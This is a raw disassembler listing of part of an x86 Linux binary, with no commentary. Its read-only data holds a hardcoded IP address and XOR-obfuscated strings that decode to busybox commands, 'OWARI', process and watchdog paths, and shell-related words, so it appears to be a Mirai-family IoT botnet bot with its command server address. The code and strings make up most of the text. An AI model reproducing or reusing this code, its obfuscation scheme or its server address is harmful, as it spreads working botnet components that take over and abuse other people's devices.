804e6cc: 66 a5 movsw %ds:(%esi),%es:(%edi) | |
804e6ce: a8 01 test $0x1,%al | |
804e6d0: 74 01 je 0x804e6d3 | |
804e6d2: a4 movsb %ds:(%esi),%es:(%edi) | |
804e6d3: 8b 44 24 0c mov 0xc(%esp),%eax | |
804e6d7: 5e pop %esi | |
804e6d8: 5f pop %edi | |
804e6d9: c3 ret | |
804e6da: 55 push %ebp | |
804e6db: 57 push %edi | |
804e6dc: 56 push %esi | |
804e6dd: 53 push %ebx | |
804e6de: 83 ec 04 sub $0x4,%esp | |
804e6e1: 8b 4c 24 18 mov 0x18(%esp),%ecx | |
804e6e5: 85 c9 test %ecx,%ecx | |
804e6e7: 74 7d je 0x804e766 | |
804e6e9: 31 f6 xor %esi,%esi | |
804e6eb: c7 04 24 01 00 00 00 movl $0x1,(%esp) | |
804e6f2: eb 51 jmp 0x804e745 | |
804e6f4: 0f be 01 movsbl (%ecx),%eax | |
804e6f7: 8b 2d 84 f0 04 08 mov 0x804f084,%ebp | |
804e6fd: f6 44 45 00 08 testb $0x8,0x0(%ebp,%eax,2) | |
804e702: 74 62 je 0x804e766 | |
804e704: 31 ff xor %edi,%edi | |
804e706: eb 10 jmp 0x804e718 | |
804e708: 6b c7 0a imul $0xa,%edi,%eax | |
804e70b: 8d 7c 18 d0 lea -0x30(%eax,%ebx,1),%edi | |
804e70f: 81 ff ff 00 00 00 cmp $0xff,%edi | |
804e715: 7f 4f jg 0x804e766 | |
804e717: 41 inc %ecx | |
804e718: 8a 11 mov (%ecx),%dl | |
804e71a: 0f be da movsbl %dl,%ebx | |
804e71d: 0f b7 44 5d 00 movzwl 0x0(%ebp,%ebx,2),%eax | |
804e722: a8 08 test $0x8,%al | |
804e724: 75 e2 jne 0x804e708 | |
804e726: 83 3c 24 03 cmpl $0x3,(%esp) | |
804e72a: 7f 08 jg 0x804e734 | |
804e72c: 80 fa 2e cmp $0x2e,%dl | |
804e72f: 75 35 jne 0x804e766 | |
804e731: 41 inc %ecx | |
804e732: eb 09 jmp 0x804e73d | |
804e734: 41 inc %ecx | |
804e735: 84 d2 test %dl,%dl | |
804e737: 74 04 je 0x804e73d | |
804e739: a8 20 test $0x20,%al | |
804e73b: 74 29 je 0x804e766 | |
804e73d: c1 e6 08 shl $0x8,%esi | |
804e740: ff 04 24 incl (%esp) | |
804e743: 09 fe or %edi,%esi | |
804e745: 83 3c 24 04 cmpl $0x4,(%esp) | |
804e749: 7e a9 jle 0x804e6f4 | |
804e74b: b8 01 00 00 00 mov $0x1,%eax | |
804e750: 83 7c 24 1c 00 cmpl $0x0,0x1c(%esp) | |
804e755: 74 11 je 0x804e768 | |
804e757: 8b 44 24 1c mov 0x1c(%esp),%eax | |
804e75b: 0f ce bswap %esi | |
804e75d: 89 30 mov %esi,(%eax) | |
804e75f: b8 01 00 00 00 mov $0x1,%eax | |
804e764: eb 02 jmp 0x804e768 | |
804e766: 31 c0 xor %eax,%eax | |
804e768: 5a pop %edx | |
804e769: 5b pop %ebx | |
804e76a: 5e pop %esi | |
804e76b: 5f pop %edi | |
804e76c: 5d pop %ebp | |
804e76d: c3 ret | |
804e76e: 83 ec 0c sub $0xc,%esp | |
804e771: e8 b1 d9 ff ff call 0x804c127 | |
804e776: 52 push %edx | |
804e777: 52 push %edx | |
804e778: ff 74 24 18 pushl 0x18(%esp) | |
804e77c: 50 push %eax | |
804e77d: e8 30 da ff ff call 0x804c1b2 | |
804e782: 83 c4 1c add $0x1c,%esp | |
804e785: c3 ret | |
804e786: 53 push %ebx | |
804e787: b8 01 00 00 00 mov $0x1,%eax | |
804e78c: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
804e790: 8b 54 24 08 mov 0x8(%esp),%edx | |
804e794: 49 dec %ecx | |
804e795: 89 cb mov %ecx,%ebx | |
804e797: 83 e1 1f and $0x1f,%ecx | |
804e79a: c1 eb 05 shr $0x5,%ebx | |
804e79d: d3 e0 shl %cl,%eax | |
804e79f: 85 04 9a test %eax,(%edx,%ebx,4) | |
804e7a2: 5b pop %ebx | |
804e7a3: 0f 95 c0 setne %al | |
804e7a6: 0f b6 c0 movzbl %al,%eax | |
804e7a9: c3 ret | |
804e7aa: 53 push %ebx | |
804e7ab: b8 01 00 00 00 mov $0x1,%eax | |
804e7b0: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
804e7b4: 8b 5c 24 08 mov 0x8(%esp),%ebx | |
804e7b8: 49 dec %ecx | |
804e7b9: 89 ca mov %ecx,%edx | |
804e7bb: 83 e1 1f and $0x1f,%ecx | |
804e7be: c1 ea 05 shr $0x5,%edx | |
804e7c1: d3 e0 shl %cl,%eax | |
804e7c3: 09 04 93 or %eax,(%ebx,%edx,4) | |
804e7c6: 31 c0 xor %eax,%eax | |
804e7c8: 5b pop %ebx | |
804e7c9: c3 ret | |
804e7ca: 8b 50 1c mov 0x1c(%eax),%edx | |
804e7cd: 89 15 b8 f5 04 08 mov %edx,0x804f5b8 | |
804e7d3: 8b 40 2c mov 0x2c(%eax),%eax | |
804e7d6: a3 bc f5 04 08 mov %eax,0x804f5bc | |
804e7db: c3 ret | |
804e7dc: 53 push %ebx | |
804e7dd: ba 2d 00 00 00 mov $0x2d,%edx | |
804e7e2: 83 ec 08 sub $0x8,%esp | |
804e7e5: 89 d0 mov %edx,%eax | |
804e7e7: 8b 5c 24 10 mov 0x10(%esp),%ebx | |
804e7eb: 89 d9 mov %ebx,%ecx | |
804e7ed: 89 db mov %ebx,%ebx | |
804e7ef: cd 80 int $0x80 | |
804e7f1: 89 cb mov %ecx,%ebx | |
804e7f3: 31 c9 xor %ecx,%ecx | |
804e7f5: a3 04 f1 04 08 mov %eax,0x804f104 | |
804e7fa: 39 d8 cmp %ebx,%eax | |
804e7fc: 73 0e jae 0x804e80c | |
804e7fe: e8 b3 dd ff ff call 0x804c5b6 | |
804e803: 83 c9 ff or $0xffffffff,%ecx | |
804e806: c7 00 0c 00 00 00 movl $0xc,(%eax) | |
804e80c: 89 c8 mov %ecx,%eax | |
804e80e: 5a pop %edx | |
804e80f: 59 pop %ecx | |
804e810: 5b pop %ebx | |
804e811: c3 ret | |
804e812: 83 ec 0c sub $0xc,%esp | |
804e815: 89 c2 mov %eax,%edx | |
804e817: f7 da neg %edx | |
804e819: e8 98 dd ff ff call 0x804c5b6 | |
804e81e: 89 10 mov %edx,(%eax) | |
804e820: 83 c8 ff or $0xffffffff,%eax | |
804e823: 83 c4 0c add $0xc,%esp | |
804e826: c3 ret | |
804e827: 90 nop | |
804e828: 90 nop | |
804e829: 90 nop | |
804e82a: 90 nop | |
804e82b: 90 nop | |
804e82c: 90 nop | |
804e82d: 90 nop | |
804e82e: 90 nop | |
804e82f: 90 nop | |
804e830: 55 push %ebp | |
804e831: 89 e5 mov %esp,%ebp | |
804e833: 53 push %ebx | |
804e834: 83 ec 04 sub $0x4,%esp | |
804e837: bb 00 f0 04 08 mov $0x804f000,%ebx | |
804e83c: a1 00 f0 04 08 mov 0x804f000,%eax | |
804e841: 83 f8 ff cmp $0xffffffff,%eax | |
804e844: 74 0c je 0x804e852 | |
804e846: 83 eb 04 sub $0x4,%ebx | |
804e849: ff d0 call *%eax | |
804e84b: 8b 03 mov (%ebx),%eax | |
804e84d: 83 f8 ff cmp $0xffffffff,%eax | |
804e850: 75 f4 jne 0x804e846 | |
804e852: 58 pop %eax | |
804e853: 5b pop %ebx | |
804e854: 5d pop %ebp | |
804e855: c3 ret | |
Disassembly of section .fini: | |
0804e856 <.fini>: | |
804e856: 55 push %ebp | |
804e857: 89 e5 mov %esp,%ebp | |
804e859: 53 push %ebx | |
804e85a: e8 51 98 ff ff call 0x80480b0 | |
804e85f: 81 c3 b5 07 00 00 add $0x7b5,%ebx | |
804e865: e8 56 98 ff ff call 0x80480c0 | |
804e86a: 5b pop %ebx | |
804e86b: 5d pop %ebp | |
804e86c: c3 ret | |
Disassembly of section .rodata: | |
0804e880 <.rodata>: | |
804e880: 2f das | |
804e881: 00 32 add %dh,(%edx) | |
804e883: 30 37 xor %dh,(%edi) | |
804e885: 2e 31 35 34 2e 32 30 xor %esi,%cs:0x30322e34 | |
804e88c: 35 2e 32 32 33 xor $0x3332322e,%eax | |
804e891: 00 0a add %cl,(%edx) | |
804e893: 00 00 add %al,(%eax) | |
804e895: 00 00 add %al,(%eax) | |
804e897: 01 00 add %eax,(%eax) | |
804e899: 37 aaa | |
804e89a: 89 00 mov %eax,(%eax) | |
804e89c: 44 inc %esp | |
804e89d: 52 push %edx | |
804e89e: 00 1b add %bl,(%ebx) | |
804e8a0: 03 15 06 1d 64 6d add 0x6d641d06,%edx | |
804e8a6: 65 66 67 3d 30 6d gs addr16 cmp $0x6d30,%ax | |
804e8ac: 3d 65 66 67 2c cmp $0x2c676665,%eax | |
804e8b1: 30 6d 65 xor %ch,0x65(%ebp) | |
804e8b4: 66 54 push %sp | |
804e8b6: 00 27 add %ah,(%edi) | |
804e8b8: 3c 31 cmp $0x31,%al | |
804e8ba: 38 38 cmp %bh,(%eax) | |
804e8bc: 54 push %esp | |
804e8bd: 00 31 add %dh,(%ecx) | |
804e8bf: 3a 35 36 38 31 54 cmp 0x54313836,%dh | |
804e8c5: 00 27 add %ah,(%edi) | |
804e8c7: 2d 27 20 31 39 sub $0x39312027,%eax | |
804e8cc: 54 push %esp | |
804e8cd: 00 27 add %ah,(%edi) | |
804e8cf: 3c 54 cmp $0x54,%al | |
804e8d1: 00 7b 36 add %bh,0x36(%ebx) | |
804e8d4: 3d 3a 7b 36 21 cmp $0x21367b3a,%eax | |
804e8d9: 27 daa | |
804e8da: 2d 36 3b 2c 74 sub $0x742c3b36,%eax | |
804e8df: 1b 03 sbb (%ebx),%eax | |
804e8e1: 15 06 1d 54 00 adc $0x541d06,%eax | |
804e8e6: 1b 03 sbb (%ebx),%eax | |
804e8e8: 15 06 1d 6e 74 adc $0x746e1d06,%eax | |
804e8ed: 35 24 24 38 31 xor $0x31382424,%eax | |
804e8f2: 20 74 3a 3b and %dh,0x3b(%edx,%edi,1) | |
804e8f6: 20 74 32 3b and %dh,0x3b(%edx,%esi,1) | |
804e8fa: 21 3a and %edi,(%edx) | |
804e8fc: 30 54 00 3a xor %dl,0x3a(%eax,%eax,1) | |
804e900: 37 aaa | |
804e901: 3b 26 cmp (%esi),%esp | |
804e903: 26 31 37 xor %esi,%es:(%edi) | |
804e906: 20 54 00 7b and %dl,0x7b(%eax,%eax,1) | |
804e90a: 36 3d 3a 7b 36 21 ss cmp $0x21367b3a,%eax | |
804e910: 27 daa | |
804e911: 2d 36 3b 2c 74 sub $0x742c3b36,%eax | |
804e916: 24 27 and $0x27,%al | |
804e918: 54 push %esp | |
804e919: 00 7b 36 add %bh,0x36(%ebx) | |
804e91c: 3d 3a 7b 36 21 cmp $0x21367b3a,%eax | |
804e921: 27 daa | |
804e922: 2d 36 3b 2c 74 sub $0x742c3b36,%eax | |
804e927: 3f aas | |
804e928: 3d 38 38 74 79 cmp $0x79743838,%eax | |
804e92d: 6d insl (%dx),%es:(%edi) | |
804e92e: 74 54 je 0x804e984 | |
804e930: 00 7b 24 add %bh,0x24(%ebx) | |
804e933: 26 3b 37 cmp %es:(%edi),%esi | |
804e936: 7b 54 jnp 0x804e98c | |
804e938: 00 7b 31 add %bh,0x31(%ebx) | |
804e93b: 2c 31 sub $0x31,%al | |
804e93d: 54 push %esp | |
804e93e: 00 7b 32 add %bh,0x32(%ebx) | |
804e941: 30 54 00 7b xor %dl,0x7b(%eax,%eax,1) | |
804e945: 39 35 24 27 54 00 cmp %esi,0x542724 | |
804e94b: 7b 24 jnp 0x804e971 | |
804e94d: 26 3b 37 cmp %es:(%edi),%esi | |
804e950: 7b 3a jnp 0x804e98c | |
804e952: 31 20 xor %esp,(%eax) | |
804e954: 7b 20 jnp 0x804e976 | |
804e956: 37 aaa | |
804e957: 24 54 and $0x54,%al | |
804e959: 00 7b 27 add %bh,0x27(%ebx) | |
804e95c: 20 35 20 21 27 54 and %dh,0x54272120 | |
804e962: 00 7a 35 add %bh,0x35(%edx) | |
804e965: 3a 3d 39 31 54 00 cmp 0x543139,%bh | |
804e96b: 7b 24 jnp 0x804e991 | |
804e96d: 26 3b 37 cmp %es:(%edi),%esi | |
804e970: 7b 3a jnp 0x804e9ac | |
804e972: 31 20 xor %esp,(%eax) | |
804e974: 7b 26 jnp 0x804e99c | |
804e976: 3b 21 cmp (%ecx),%esp | |
804e978: 20 31 and %dh,(%ecx) | |
804e97a: 54 push %esp | |
804e97b: 00 35 27 27 23 3b add %dh,0x3b232727 | |
804e981: 26 30 54 00 7b xor %dl,%es:0x7b(%eax,%eax,1) | |
804e986: 31 20 xor %esp,(%eax) | |
804e988: 37 aaa | |
804e989: 7b 26 jnp 0x804e9b1 | |
804e98b: 31 27 xor %esp,(%edi) | |
804e98d: 3b 38 cmp (%eax),%edi | |
804e98f: 22 7a 37 and 0x37(%edx),%bh | |
804e992: 3b 3a cmp (%edx),%edi | |
804e994: 32 54 00 3a xor 0x3a(%eax,%eax,1),%dl | |
804e998: 35 39 31 27 31 xor $0x31273139,%eax | |
804e99d: 26 22 31 and %es:(%ecx),%dh | |
804e9a0: 26 74 54 es je 0x804e9f7 | |
804e9a3: 00 7b 30 add %bh,0x30(%ebx) | |
804e9a6: 31 22 xor %esp,(%edx) | |
804e9a8: 7b 23 jnp 0x804e9cd | |
804e9aa: 35 20 37 3c 30 xor $0x303c3720,%eax | |
804e9af: 3b 33 cmp (%ebx),%esi | |
804e9b1: 54 push %esp | |
804e9b2: 00 7b 30 add %bh,0x30(%ebx) | |
804e9b5: 31 22 xor %esp,(%edx) | |
804e9b7: 7b 39 jnp 0x804e9f2 | |
804e9b9: 3d 27 37 7b 23 cmp $0x237b3727,%eax | |
804e9be: 35 20 37 3c 30 xor $0x303c3720,%eax | |
804e9c3: 3b 33 cmp (%ebx),%esi | |
804e9c5: 54 push %esp | |
804e9c6: 00 24 36 add %ah,(%esi,%esi,1) | |
804e9c9: 36 32 2a xor %ss:(%edx),%ch | |
804e9cc: 37 aaa | |
804e9cd: 21 45 00 and %eax,0x0(%ebp) | |
804e9d0: 3b 33 cmp (%ebx),%esi | |
804e9d2: 3d 3a 54 00 31 cmp $0x3100543a,%eax | |
804e9d7: 3a 20 cmp (%eax),%ah | |
804e9d9: 31 26 xor %esp,(%esi) | |
804e9db: 54 push %esp | |
804e9dc: 00 6d 21 add %ch,0x21(%ebp) | |
804e9df: 65 66 67 60 gs addr16 pushaw | |
804e9e3: 60 pusha | |
804e9e4: 6c insb (%dx),%es:(%edi) | |
804e9e5: 21 65 66 and %esp,0x66(%ebp) | |
804e9e8: 60 pusha | |
804e9e9: 35 21 6c 65 60 xor $0x60656c21,%eax | |
804e9ee: 30 60 2c xor %ah,0x2c(%eax) | |
804e9f1: 65 64 54 gs fs push %esp | |
804e9f4: 00 00 add %al,(%eax) | |
804e9f6: 07 pop %es | |
804e9f7: 3b 21 cmp (%ecx),%esp | |
804e9f9: 26 37 es aaa | |
804e9fb: 31 74 11 3a xor %esi,0x3a(%ecx,%edx,1) | |
804e9ff: 33 3d 3a 31 74 05 xor 0x574313a,%edi | |
804ea05: 21 31 and %esi,(%ecx) | |
804ea07: 26 2d 54 00 00 44 es sub $0x44000054,%eax | |
804ea0d: dc 04 08 faddl (%eax,%ecx,1) | |
804ea10: 29 dd sub %ebx,%ebp | |
804ea12: 04 08 add $0x8,%al | |
804ea14: 4e dec %esi | |
804ea15: dc 04 08 faddl (%eax,%ecx,1) | |
804ea18: 58 pop %eax | |
804ea19: dc 04 08 faddl (%eax,%ecx,1) | |
804ea1c: 62 (bad) | |
804ea1d: dc 04 08 faddl (%eax,%ecx,1) | |
804ea20: f8 clc | |
804ea21: dc 04 08 faddl (%eax,%ecx,1) | |
804ea24: 6a dc push $0xffffffdc | |
804ea26: 04 08 add $0x8,%al | |
804ea28: 2a dc sub %ah,%bl | |
804ea2a: 04 08 add $0x8,%al | |
804ea2c: 2a dc sub %ah,%bl | |
804ea2e: 04 08 add $0x8,%al | |
804ea30: 2a dc sub %ah,%bl | |
804ea32: 04 08 add $0x8,%al | |
804ea34: 2a dc sub %ah,%bl | |
804ea36: 04 08 add $0x8,%al | |
804ea38: 2a dc sub %ah,%bl | |
804ea3a: 04 08 add $0x8,%al | |
804ea3c: 2a dc sub %ah,%bl | |
804ea3e: 04 08 add $0x8,%al | |
804ea40: 2a dc sub %ah,%bl | |
804ea42: 04 08 add $0x8,%al | |
804ea44: 2a dc sub %ah,%bl | |
804ea46: 04 08 add $0x8,%al | |
804ea48: 2a dc sub %ah,%bl | |
804ea4a: 04 08 add $0x8,%al | |
804ea4c: 2a dc sub %ah,%bl | |
804ea4e: 04 08 add $0x8,%al | |
804ea50: 2a dc sub %ah,%bl | |
804ea52: 04 08 add $0x8,%al | |
804ea54: 2a dc sub %ah,%bl | |
804ea56: 04 08 add $0x8,%al | |
804ea58: 2a dc sub %ah,%bl | |
804ea5a: 04 08 add $0x8,%al | |
804ea5c: 2a dc sub %ah,%bl | |
804ea5e: 04 08 add $0x8,%al | |
804ea60: 2a dc sub %ah,%bl | |
804ea62: 04 08 add $0x8,%al | |
804ea64: 2a dc sub %ah,%bl | |
804ea66: 04 08 add $0x8,%al | |
804ea68: 29 dd sub %ebx,%ebp | |
804ea6a: 04 08 add $0x8,%al | |
804ea6c: 29 dd sub %ebx,%ebp | |
804ea6e: 04 08 add $0x8,%al | |
804ea70: 35 dd 04 08 06 xor $0x60804dd,%eax | |
804ea75: dd 04 08 fldl (%eax,%ecx,1) | |
804ea78: 29 dd sub %ebx,%ebp | |
804ea7a: 04 08 add $0x8,%al | |
804ea7c: 7c dc jl 0x804ea5a | |
804ea7e: 04 08 add $0x8,%al | |
804ea80: ff (bad) | |
804ea81: dc 04 08 faddl (%eax,%ecx,1) | |
804ea84: 74 dc je 0x804ea62 | |
804ea86: 04 08 add $0x8,%al | |
804ea88: 14 dd adc $0xdd,%al | |
804ea8a: 04 08 add $0x8,%al | |
804ea8c: 29 dd sub %ebx,%ebp | |
804ea8e: 04 08 add $0x8,%al | |
804ea90: 29 dd sub %ebx,%ebp | |
804ea92: 04 08 add $0x8,%al | |
804ea94: 29 dd sub %ebx,%ebp | |
804ea96: 04 08 add $0x8,%al | |
804ea98: 0d dd 04 08 3c or $0x3c0804dd,%eax | |
804ea9d: dd 04 08 fldl (%eax,%ecx,1) | |
804eaa0: 43 inc %ebx | |
804eaa1: dd 04 08 fldl (%eax,%ecx,1) | |
804eaa4: 3c dd cmp $0xdd,%al | |
804eaa6: 04 08 add $0x8,%al | |
804eaa8: 86 dc xchg %bl,%ah | |
804eaaa: 04 08 add $0x8,%al | |
804eaac: 4a dec %edx | |
804eaad: dd 04 08 fldl (%eax,%ecx,1) | |
804eab0: 29 dd sub %ebx,%ebp | |
804eab2: 04 08 add $0x8,%al | |
804eab4: 14 dd adc $0xdd,%al | |
804eab6: 04 08 add $0x8,%al | |
804eab8: 43 inc %ebx | |
804eab9: dd 04 08 fldl (%eax,%ecx,1) | |
804eabc: 51 push %ecx | |
804eabd: dd 04 08 fldl (%eax,%ecx,1) | |
804eac0: 43 inc %ebx | |
804eac1: dd 04 08 fldl (%eax,%ecx,1) | |
804eac4: ff (bad) | |
804eac5: dc 04 08 faddl (%eax,%ecx,1) | |
804eac8: ff (bad) | |
804eac9: dc 04 08 faddl (%eax,%ecx,1) | |
804eacc: ff (bad) | |
804eacd: dc 04 08 faddl (%eax,%ecx,1) | |
804ead0: 29 dd sub %ebx,%ebp | |
804ead2: 04 08 add $0x8,%al | |
804ead4: 29 dd sub %ebx,%ebp | |
804ead6: 04 08 add $0x8,%al | |
804ead8: ff (bad) | |
804ead9: dc 04 08 faddl (%eax,%ecx,1) | |
804eadc: ff (bad) | |
804eadd: dc 04 08 faddl (%eax,%ecx,1) | |
804eae0: 29 dd sub %ebx,%ebp | |
804eae2: 04 08 add $0x8,%al | |
804eae4: 29 dd sub %ebx,%ebp | |
804eae6: 04 08 add $0x8,%al | |
804eae8: 29 dd sub %ebx,%ebp | |
804eaea: 04 08 add $0x8,%al | |
804eaec: 29 dd sub %ebx,%ebp | |
804eaee: 04 08 add $0x8,%al | |
804eaf0: 29 dd sub %ebx,%ebp | |
804eaf2: 04 08 add $0x8,%al | |
804eaf4: 29 dd sub %ebx,%ebp | |
804eaf6: 04 08 add $0x8,%al | |
804eaf8: 29 dd sub %ebx,%ebp | |
804eafa: 04 08 add $0x8,%al | |
804eafc: 29 dd sub %ebx,%ebp | |
804eafe: 04 08 add $0x8,%al | |
804eb00: 29 dd sub %ebx,%ebp | |
804eb02: 04 08 add $0x8,%al | |
804eb04: 29 dd sub %ebx,%ebp | |
804eb06: 04 08 add $0x8,%al | |
804eb08: 29 dd sub %ebx,%ebp | |
804eb0a: 04 08 add $0x8,%al | |
804eb0c: 29 dd sub %ebx,%ebp | |
804eb0e: 04 08 add $0x8,%al | |
804eb10: 29 dd sub %ebx,%ebp | |
804eb12: 04 08 add $0x8,%al | |
804eb14: 29 dd sub %ebx,%ebp | |
804eb16: 04 08 add $0x8,%al | |
804eb18: 2a dc sub %ah,%bl | |
804eb1a: 04 08 add $0x8,%al | |
804eb1c: 2a dc sub %ah,%bl | |
804eb1e: 04 08 add $0x8,%al | |
804eb20: 0d dd 04 08 0d or $0xd0804dd,%eax | |
804eb25: dd 04 08 fldl (%eax,%ecx,1) | |
804eb28: 0d dd 04 08 14 or $0x140804dd,%eax | |
804eb2d: dd 04 08 fldl (%eax,%ecx,1) | |
804eb30: 1b dd sbb %ebp,%ebx | |
804eb32: 04 08 add $0x8,%al | |
804eb34: 22 dd and %ch,%bl | |
804eb36: 04 08 add $0x8,%al | |
804eb38: 90 nop | |
804eb39: dc 04 08 faddl (%eax,%ecx,1) | |
804eb3c: 22 dd and %ch,%bl | |
804eb3e: 04 08 add $0x8,%al | |
804eb40: 2a dc sub %ah,%bl | |
804eb42: 04 08 add $0x8,%al | |
804eb44: 2a dc sub %ah,%bl | |
804eb46: 04 08 add $0x8,%al | |
804eb48: 2a dc sub %ah,%bl | |
804eb4a: 04 08 add $0x8,%al | |
804eb4c: 2a dc sub %ah,%bl | |
804eb4e: 04 08 add $0x8,%al | |
804eb50: 2a dc sub %ah,%bl | |
804eb52: 04 08 add $0x8,%al | |
804eb54: 2a dc sub %ah,%bl | |
804eb56: 04 08 add $0x8,%al | |
804eb58: 2a dc sub %ah,%bl | |
804eb5a: 04 08 add $0x8,%al | |
804eb5c: 2a dc sub %ah,%bl | |
804eb5e: 04 08 add $0x8,%al | |
804eb60: 29 dd sub %ebx,%ebp | |
804eb62: 04 08 add $0x8,%al | |
804eb64: 29 dd sub %ebx,%ebp | |
804eb66: 04 08 add $0x8,%al | |
804eb68: 06 push %es | |
804eb69: dd 04 08 fldl (%eax,%ecx,1) | |
804eb6c: 9a dc 04 08 a4 dc 04 lcall $0x4dc,$0xa40804dc | |
804eb73: 08 1b or %bl,(%ebx) | |
804eb75: dd 04 08 fldl (%eax,%ecx,1) | |
804eb78: 2a dc sub %ah,%bl | |
804eb7a: 04 08 add $0x8,%al | |
804eb7c: 2a dc sub %ah,%bl | |
804eb7e: 04 08 add $0x8,%al | |
804eb80: 2a dc sub %ah,%bl | |
804eb82: 04 08 add $0x8,%al | |
804eb84: 2a dc sub %ah,%bl | |
804eb86: 04 08 add $0x8,%al | |
804eb88: ff (bad) | |
804eb89: dc 04 08 faddl (%eax,%ecx,1) | |
804eb8c: 29 dd sub %ebx,%ebp | |
804eb8e: 04 08 add $0x8,%al | |
804eb90: 29 dd sub %ebx,%ebp | |
804eb92: 04 08 add $0x8,%al | |
804eb94: 2a dc sub %ah,%bl | |
804eb96: 04 08 add $0x8,%al | |
804eb98: 2a dc sub %ah,%bl | |
804eb9a: 04 08 add $0x8,%al | |
804eb9c: 2a dc sub %ah,%bl | |
804eb9e: 04 08 add $0x8,%al | |
804eba0: ae scas %es:(%edi),%al | |
804eba1: dc 04 08 faddl (%eax,%ecx,1) | |
804eba4: f1 icebp | |
804eba5: dc 04 08 faddl (%eax,%ecx,1) | |
804eba8: 2e dd 04 08 fldl %cs:(%eax,%ecx,1) | |
804ebac: 06 push %es | |
804ebad: dd 04 08 fldl (%eax,%ecx,1) | |
804ebb0: b8 dc 04 08 14 mov $0x140804dc,%eax | |
804ebb5: dd 04 08 fldl (%eax,%ecx,1) | |
804ebb8: 14 dd adc $0xdd,%al | |
804ebba: 04 08 add $0x8,%al | |
804ebbc: f8 clc | |
804ebbd: dc 04 08 faddl (%eax,%ecx,1) | |
804ebc0: 35 dd 04 08 51 xor $0x510804dd,%eax | |
804ebc5: dd 04 08 fldl (%eax,%ecx,1) | |
804ebc8: f1 icebp | |
804ebc9: dc 04 08 faddl (%eax,%ecx,1) | |
804ebcc: 2e dd 04 08 fldl %cs:(%eax,%ecx,1) | |
804ebd0: 51 push %ecx | |
804ebd1: dd 04 08 fldl (%eax,%ecx,1) | |
804ebd4: c2 dc 04 ret $0x4dc | |
804ebd7: 08 4a dd or %cl,-0x23(%edx) | |
804ebda: 04 08 add $0x8,%al | |
804ebdc: 29 dd sub %ebx,%ebp | |
804ebde: 04 08 add $0x8,%al | |
804ebe0: 29 dd sub %ebx,%ebp | |
804ebe2: 04 08 add $0x8,%al | |
804ebe4: cc int3 | |
804ebe5: dc 04 08 faddl (%eax,%ecx,1) | |
804ebe8: d6 (bad) | |
804ebe9: dc 04 08 faddl (%eax,%ecx,1) | |
804ebec: 43 inc %ebx | |
804ebed: dd 04 08 fldl (%eax,%ecx,1) | |
804ebf0: 06 push %es | |
804ebf1: dd 04 08 fldl (%eax,%ecx,1) | |
804ebf4: 06 push %es | |
804ebf5: dd 04 08 fldl (%eax,%ecx,1) | |
804ebf8: 06 push %es | |
804ebf9: dd 04 08 fldl (%eax,%ecx,1) | |
804ebfc: 06 push %es | |
804ebfd: dd 04 08 fldl (%eax,%ecx,1) | |
804ec00: 2a dc sub %ah,%bl | |
804ec02: 04 08 add $0x8,%al | |
804ec04: 2a dc sub %ah,%bl | |
804ec06: 04 08 add $0x8,%al | |
804ec08: 29 dd sub %ebx,%ebp | |
804ec0a: 04 08 add $0x8,%al | |
804ec0c: 29 dd sub %ebx,%ebp | |
804ec0e: 04 08 add $0x8,%al | |
804ec10: 2a dc sub %ah,%bl | |
804ec12: 04 08 add $0x8,%al | |
804ec14: 2a dc sub %ah,%bl | |
804ec16: 04 08 add $0x8,%al | |
804ec18: 29 dd sub %ebx,%ebp | |
804ec1a: 04 08 add $0x8,%al | |
804ec1c: 34 dc xor $0xdc,%al | |
804ec1e: 04 08 add $0x8,%al | |
804ec20: 34 dc xor $0xdc,%al | |
804ec22: 04 08 add $0x8,%al | |
804ec24: 34 dc xor $0xdc,%al | |
804ec26: 04 08 add $0x8,%al | |
804ec28: 34 dc xor $0xdc,%al | |
804ec2a: 04 08 add $0x8,%al | |
804ec2c: 34 dc xor $0xdc,%al | |
804ec2e: 04 08 add $0x8,%al | |
804ec30: 34 dc xor $0xdc,%al | |
804ec32: 04 08 add $0x8,%al | |
804ec34: 34 dc xor $0xdc,%al | |
804ec36: 04 08 add $0x8,%al | |
804ec38: 34 dc xor $0xdc,%al | |
804ec3a: 04 08 add $0x8,%al | |
804ec3c: 34 dc xor $0xdc,%al | |
804ec3e: 04 08 add $0x8,%al | |
804ec40: 34 dc xor $0xdc,%al | |
804ec42: 04 08 add $0x8,%al | |
804ec44: 34 dc xor $0xdc,%al | |
804ec46: 04 08 add $0x8,%al | |
804ec48: 34 dc xor $0xdc,%al | |
804ec4a: 04 08 add $0x8,%al | |
804ec4c: 34 dc xor $0xdc,%al | |
804ec4e: 04 08 add $0x8,%al | |
804ec50: 34 dc xor $0xdc,%al | |
804ec52: 04 08 add $0x8,%al | |
804ec54: 34 dc xor $0xdc,%al | |
804ec56: 04 08 add $0x8,%al | |
804ec58: 34 dc xor $0xdc,%al | |
804ec5a: 04 08 add $0x8,%al | |
804ec5c: 34 dc xor $0xdc,%al | |
804ec5e: 04 08 add $0x8,%al | |
804ec60: dd dc fstp %st(4) | |
804ec62: 04 08 add $0x8,%al | |
804ec64: 2f das | |
804ec65: 64 65 76 2f fs gs jbe 0x804ec98 | |
804ec69: 6e outsb %ds:(%esi),(%dx) | |
804ec6a: 75 6c jne 0x804ecd8 | |
804ec6c: 6c insb (%dx),%es:(%edi) | |
... | |
804ed81: 02 00 add (%eax),%al | |
804ed83: 02 00 add (%eax),%al | |
804ed85: 02 00 add (%eax),%al | |
804ed87: 02 00 add (%eax),%al | |
804ed89: 02 00 add (%eax),%al | |
804ed8b: 02 00 add (%eax),%al | |
804ed8d: 02 00 add (%eax),%al | |
804ed8f: 02 00 add (%eax),%al | |
804ed91: 02 20 add (%eax),%ah | |
804ed93: 03 20 add (%eax),%esp | |
804ed95: 02 20 add (%eax),%ah | |
804ed97: 02 20 add (%eax),%ah | |
804ed99: 02 20 add (%eax),%ah | |
804ed9b: 02 00 add (%eax),%al | |
804ed9d: 02 00 add (%eax),%al | |
804ed9f: 02 00 add (%eax),%al | |
804eda1: 02 00 add (%eax),%al | |
804eda3: 02 00 add (%eax),%al | |
804eda5: 02 00 add (%eax),%al | |
804eda7: 02 00 add (%eax),%al | |
804eda9: 02 00 add (%eax),%al | |
804edab: 02 00 add (%eax),%al | |
804edad: 02 00 add (%eax),%al | |
804edaf: 02 00 add (%eax),%al | |
804edb1: 02 00 add (%eax),%al | |
804edb3: 02 00 add (%eax),%al | |
804edb5: 02 00 add (%eax),%al | |
804edb7: 02 00 add (%eax),%al | |
804edb9: 02 00 add (%eax),%al | |
804edbb: 02 00 add (%eax),%al | |
